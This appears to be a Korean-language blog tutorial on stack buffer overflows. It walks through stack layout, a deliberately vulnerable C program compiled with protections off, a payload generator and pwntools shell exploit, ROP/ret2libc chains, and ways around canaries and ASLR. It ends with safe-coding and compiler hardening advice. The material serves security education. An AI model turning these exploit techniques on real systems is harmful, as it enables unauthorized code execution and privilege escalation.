시스템 보안에서 가장 기본이 되는 버퍼 오버플로우(Buffer Overflow) 취약점
- 버퍼 오버플로우는 오래된 취약점이지만, 여전히 많은 시스템에서 발견되고 있으며 다른 고급 공격의 기반이 되는 중요한 개념
목차
버퍼 오버플로우란?
**버퍼 오버플로우(Buffer Overflow)**는 프로그램이 할당된 메모리 영역을 넘어서 데이터를 쓸 때 발생하는 취약점
왜 위험한가?
- 메모리 손상: 인접한 데이터 덮어쓰기
- 코드 실행: 공격자가 원하는 코드 실행
- 권한 상승: 시스템 권한 획득 가능
간단한 예시
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[8]; // 8바이트만 할당
strcpy(buffer, "AAAAAAAAAAAAAAAA"); // 16바이트 복사 → 오버플로우!
}
int main() {
vulnerable_function();
return 0;
}
스택 메모리 구조
스택은 함수 호출 시 지역변수와 제어 정보를 저장하는 메모리 영역
스택 프레임 구조
높은 메모리 주소
┌─────────────────────┐
│ 이전 함수 데이터 │
├─────────────────────┤
│ Return Address │ ← 공격 목표!
├─────────────────────┤
│ Saved EBP/RBP │
├─────────────────────┤
│ 지역 변수 n │
├─────────────────────┤
│ 지역 변수 2 │
├─────────────────────┤
│ 지역 변수 1 │ ← 버퍼는 보통 여기
└─────────────────────┘
낮은 메모리 주소
함수 호출 과정
- CALL: Return Address를 스택에 푸시
- PUSH EBP: 이전 함수의 베이스 포인터 저장
- MOV EBP, ESP: 새로운 스택 프레임 설정
- SUB ESP, n: 지역변수 공간 할당
메모리 정렬과 패딩
정렬이 필요한 이유
CPU는 효율성을 위해 특정 경계에서 데이터를 읽음
- char: 1바이트 경계 (어디든 가능)
- int: 4바이트 경계 (주소가 4의 배수)
- double: 8바이트 경계 (주소가 8의 배수)
패딩 예시
struct Example {
char a; // 1바이트
int b; // 4바이트
char c; // 1바이트
};
// 실제 메모리 레이아웃:
// [a][___][b b b b][c][___] = 12바이트 (패딩 포함)
// ↑ 3바이트 패딩 ↑ 3바이트 패딩
스택에서의 변수 배치
void function() {
char buffer[8]; // 8바이트
int var1; // 4바이트
char var2; // 1바이트
// 실제 메모리 (x86-64 기준):
// [buffer 8바이트][var1 4바이트][var2 1바이트][패딩 3바이트]
}
취약점 발생 원리
1. 경계 검사 없는 함수들
// 위험한 함수들
gets(buffer); // 길이 제한 없음
strcpy(dest, src); // 목적지 크기 확인 안함
sprintf(buffer, format, ...); // 버퍼 크기 무시
2. 오버플로우 시나리오
void vulnerable() {
char buffer[64]; // 64바이트 버퍼
int important_data = 0x12345678;
printf("Buffer: %p\n", buffer);
printf("Important data: %p\n", &important_data);
// 사용자 입력
gets(buffer); // 64바이트 이상 입력하면?
printf("Important data after: 0x%x\n", important_data);
}
3. Return Address 덮어쓰기
void exploit_target() {
char buffer[16];
// 공격자가 24바이트 이상 입력하면
// Return Address를 덮어써서
// 원하는 주소로 점프 가능!
strcpy(buffer, user_input); // 위험!
}
실습: 간단한 BOF
취약한 프로그램 작성
// vulnerable.c
#include <stdio.h>
#include <string.h>
void secret_function() {
printf("해킹 성공! 비밀 함수 실행됨!\n");
}
void vulnerable_function() {
char buffer[64];
printf("함수 주소들:\n");
printf("secret_function: %p\n", secret_function);
printf("buffer 주소: %p\n", buffer);
printf("입력하세요: ");
gets(buffer); // 취약점!
printf("입력받은 내용: %s\n", buffer);
}
int main() {
printf("=== 버퍼 오버플로우 실습 ===\n");
vulnerable_function();
printf("프로그램 정상 종료\n");
return 0;
}
컴파일 및 실행
# 보호 기능 모두 끄고 컴파일
gcc -fno-stack-protector -z execstack -no-pie vulnerable.c -o vulnerable
# 실행
./vulnerable
익스플로잇 페이로드 생성
# exploit.py
import struct
def create_payload():
# 1. 버퍼 크기 + 패딩 계산 (보통 72~80바이트)
padding = b'A' * 72
# 2. secret_function 주소 (실제로는 GDB로 확인)
secret_addr = 0x401234 # 실제 주소로 변경 필요
# 3. 리틀 엔디안으로 주소 변환
return_addr = struct.pack('<Q', secret_addr) # 64비트
payload = padding + return_addr
print(f"페이로드 길이: {len(payload)}")
print(f"페이로드: {payload}")
return payload
if __name__ == "__main__":
payload = create_payload()
# 파일로 저장
with open('payload.txt', 'wb') as f:
f.write(payload)
print("페이로드가 payload.txt에 저장됨")
현대적 보호 기법들
1. 스택 카나리 (Stack Canary)
// 컴파일러가 자동으로 추가하는 코드 (개념적)
void protected_function() {
unsigned long canary = __stack_canary; // 랜덤값
char buffer[64];
// 함수 로직...
if (canary != __stack_canary) {
abort(); // 스택 오버플로우 감지!
}
}
우회 방법:
- 카나리 값 유출하기
- 부분적 덮어쓰기로 카나리 우회
2. ASLR (Address Space Layout Randomization)
# ASLR 상태 확인
cat /proc/sys/kernel/randomize_va_space
# 0: 비활성화, 1: 부분 활성화, 2: 완전 활성화
# ASLR 비활성화 (테스트용)
sudo sysctl -w kernel.randomize_va_space=0
3. NX bit / DEP (Data Execution Prevention)
스택 영역에서 코드 실행을 방지:
# 컴파일 시 실행 가능한 스택 만들기 (위험!)
gcc -z execstack program.c
4. PIE (Position Independent Executable)
# PIE 비활성화로 컴파일
gcc -no-pie program.c
그 외
1. ROP (Return Oriented Programming)
실행 가능한 코드 조각들을 체이닝:
# ROP 가젯 예시
pop rdi; ret # 가젯 1
pop rsi; ret # 가젯 2
system@plt # 가젯 3
2. GOT/PLT 오버라이트
// Global Offset Table 조작
// printf@got를 system으로 덮어쓰기
printf("/bin/sh"); // 실제로는 system("/bin/sh") 실행
3. 포맷 스트링 버그와 조합
// 임의 메모리 쓰기 + BOF
printf(user_input); // 포맷 스트링 버그로 주소 유출
strcpy(buffer, large_input); // BOF로 제어 흐름 탈취
4. 힙 스프레이와 조합
// 브라우저 익스플로잇에서
// 힙에 쉘코드 스프레이 후 스택 BOF로 점프
var spray = unescape("%u9090%u9090" + shellcode);
실전 도구들
디버깅 도구
# GDB로 메모리 분석
gdb ./program
(gdb) run
(gdb) info registers # 레지스터 상태
(gdb) x/20x $esp # 스택 메모리 덤프
(gdb) disas vulnerable_function # 어셈블리 코드 보기
# 패턴으로 오프셋 찾기
(gdb) pattern create 100
(gdb) pattern offset $eip
정적 분석 도구
# 바이너리 분석
objdump -d program # 디스어셈블리
readelf -S program # 섹션 정보
checksec program # 보호 기법 확인
# 소스코드 분석
cppcheck --enable=all program.c
flawfinder program.c
동적 분석 도구
# Valgrind로 메모리 오류 검출
valgrind --tool=memcheck ./program
# AddressSanitizer 사용
gcc -fsanitize=address -g program.c
익스플로잇 개발
# pwntools 사용 (Python)
from pwn import *
# 바이너리 연결
p = process('./vulnerable')
# 또는 원격 연결
# p = remote('target.com', 1337)
# 페이로드 전송
payload = b'A' * 72 + p64(target_address)
p.sendline(payload)
# 쉘 획득
p.interactive()
실전 시나리오들
시나리오 1: 로컬 권한 상승
// setuid 프로그램의 취약점
void process_file(char *filename) {
char buffer[256];
FILE *fp = fopen(filename, "r");
fgets(buffer, 1000, fp); // 버퍼보다 많이 읽음!
// 처리 로직...
}
시나리오 2: 네트워크 서비스 공격
// 네트워크 데몬의 취약점
void handle_request(int client_socket) {
char request[512];
recv(client_socket, request, 2048, 0); // 크기 체크 없음!
// 요청 처리...
}
시나리오 3: 웹 애플리케이션 (CGI)
// CGI 스크립트의 환경변수 처리
void process_env() {
char buffer[1024];
char *query = getenv("QUERY_STRING");
strcpy(buffer, query); // URL 파라미터 → BOF 가능
}
공격 벡터별 분석
입력 벡터
벡터 설명 예시
| 명령행 인자 | argv[] 오버플로우 | ./program $(python -c 'print("A"*1000)') |
| 환경 변수 | getenv() 결과 처리 | LANG="A"*1000 ./program |
| 네트워크 입력 | 소켓 데이터 | send(socket, "A"*1000, 1000, 0) |
| 파일 입력 | 파일 읽기 함수 | 큰 파일 생성 후 읽게 하기 |
메모리 영역별 공격
// 스택 BOF
void stack_overflow() {
char buffer[64];
gets(buffer);
}
// 힙 BOF
void heap_overflow() {
char *buffer = malloc(64);
strcpy(buffer, large_input);
}
// BSS BOF
char global_buffer[64];
void bss_overflow() {
strcpy(global_buffer, large_input);
}
보호 기법 우회 전략
ASLR 우회
# 1. 정보 유출로 주소 계산
leak_addr = leak_function()
libc_base = leak_addr - offset_from_libc_base
# 2. 부분적 덮어쓰기 (Partial Overwrite)
# 하위 바이트만 덮어써서 ASLR 우회
# 3. 브루트포스 (32비트에서만 현실적)
for i in range(1000):
try_exploit(guess_address)
스택 카나리 우회
// 1. 카나리 값 유출
void leak_canary() {
char buffer[64];
// 포맷 스트링 버그로 카나리 읽기
printf("%p %p %p %p\n");
}
// 2. 부분 덮어쓰기
// 카나리의 null byte 이용
// 3. fork 기반 브루트포스
// 카나리가 fork에서 동일하다는 점 이용
NX/DEP 우회 - ROP 체인
# ROP 체인 구성
rop_chain = [
pop_rdi_ret, # 가젯: pop rdi; ret
binsh_string_addr, # "/bin/sh" 문자열 주소
system_addr, # system() 함수 주소
]
payload = b'A' * offset + b''.join([p64(addr) for addr in rop_chain])
고급 기법들
Ret2libc
# libc 함수 체이닝
chain = [
system_addr, # system() 호출
exit_addr, # 깔끔한 종료를 위한 exit()
binsh_addr, # "/bin/sh" 인자
]
ROP Chain 자동화
# ROPgadget 사용
from pwn import *
binary = ELF('./target')
rop = ROP(binary)
# 자동으로 ROP 체인 생성
rop.call('system', ['/bin/sh'])
print(rop.dump())
SROP (Sigreturn-oriented Programming)
# sigreturn 시스템콜 이용
mov rax, 15 # SYS_rt_sigreturn
syscall # 레지스터 상태를 스택에서 복원
분석 방법론
1. 정적 분석
# 바이너리 기본 정보
file ./target
checksec ./target
# 문자열 추출
strings ./target
# 함수 목록
nm ./target
objdump -t ./target
2. 동적 분석
# 실행 추적
strace ./target
ltrace ./target
# 메모리 매핑
cat /proc/$(pidof target)/maps
# 코어 덤프 분석
ulimit -c unlimited
gdb ./target core
3. 퍼징 (Fuzzing)
# 간단한 퍼저
import subprocess
import string
import random
def fuzz_target():
for length in range(1, 1000):
payload = ''.join(random.choices(string.printable, k=length))
try:
result = subprocess.run(['./target'],
input=payload,
text=True,
timeout=5,
capture_output=True)
if result.returncode < 0: # 크래시 감지
print(f"크래시! 길이: {length}, 페이로드: {payload}")
except subprocess.TimeoutExpired:
continue
방어 전략
안전한 함수 사용
// 위험한 함수 → 안전한 대안
gets(buffer) → fgets(buffer, size, stdin)
strcpy(dest, src) → strncpy(dest, src, size)
sprintf(buf, fmt, ...) → snprintf(buf, size, fmt, ...)
scanf("%s", buf) → scanf("%63s", buf) // 길이 제한
방어적 프로그래밍
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void safe_string_copy(char *dest, const char *src, size_t dest_size) {
if (!dest || !src || dest_size == 0) {
return; // 입력 검증
}
strncpy(dest, src, dest_size - 1);
dest[dest_size - 1] = '\0'; // null terminator 보장
}
void safe_input_handling() {
char buffer[64];
printf("입력 (최대 %zu자): ", sizeof(buffer) - 1);
if (fgets(buffer, sizeof(buffer), stdin)) {
// 개행 문자 제거
size_t len = strlen(buffer);
if (len > 0 && buffer[len-1] == '\n') {
buffer[len-1] = '\0';
}
printf("안전하게 받은 입력: %s\n", buffer);
}
}
컴파일러 보호 활성화
# 강력한 보호 기법들 모두 활성화
gcc -fstack-protector-strong \
-D_FORTIFY_SOURCE=2 \
-pie -fPIE \
-Wl,-z,relro,-z,now \
-Wl,-z,noexecstack \
program.c -o program
실전 워게임 추천
온라인 플랫폼
- pwnable.kr: 한국어 지원, 난이도별 문제
- OverTheWire: 체계적인 학습 과정
- picoCTF: 초보자 친화적
- HackTheBox: 실전 환경
로컬 실습 환경
# Ubuntu에서 취약한 환경 설정
sudo apt update
sudo apt install gdb python3-pwntools
# ASLR 끄기 (실습용)
sudo sysctl -w kernel.randomize_va_space=0
# 코어 덤프 활성화
ulimit -c unlimited
마무리
버퍼 오버플로우는 단순해 보이지만 매우 강력한 공격 기법.
현대의 다양한 보호 기법들이 있지만, 여전히 새로운 우회 방법들이 계속 발견되고 있음.
'system' 카테고리의 다른 글
| [시스템 프로그래밍] Tiny Shell 프로젝트: 잡 컨트롤, 시그널, 레이스 컨디션 다루기 (1) | 2025.09.09 |
|---|---|
| [시스템 프로그래밍] execve() 시스템 콜 C vs 어셈블리 비교 분석 (0) | 2025.09.08 |
| [시스템 프로그래밍] execve() 시스템 콜로 이해하는 프로세스 교체 원리 (0) | 2025.09.08 |
| [시스템 프로그래밍] fork() 시스템 콜로 이해하는 프로세스 복제 원리 (0) | 2025.09.08 |
| [시스템 프로그래밍] fork()와 execve()로 이해하는 bash의 명령어 실행 원리 (0) | 2025.09.08 |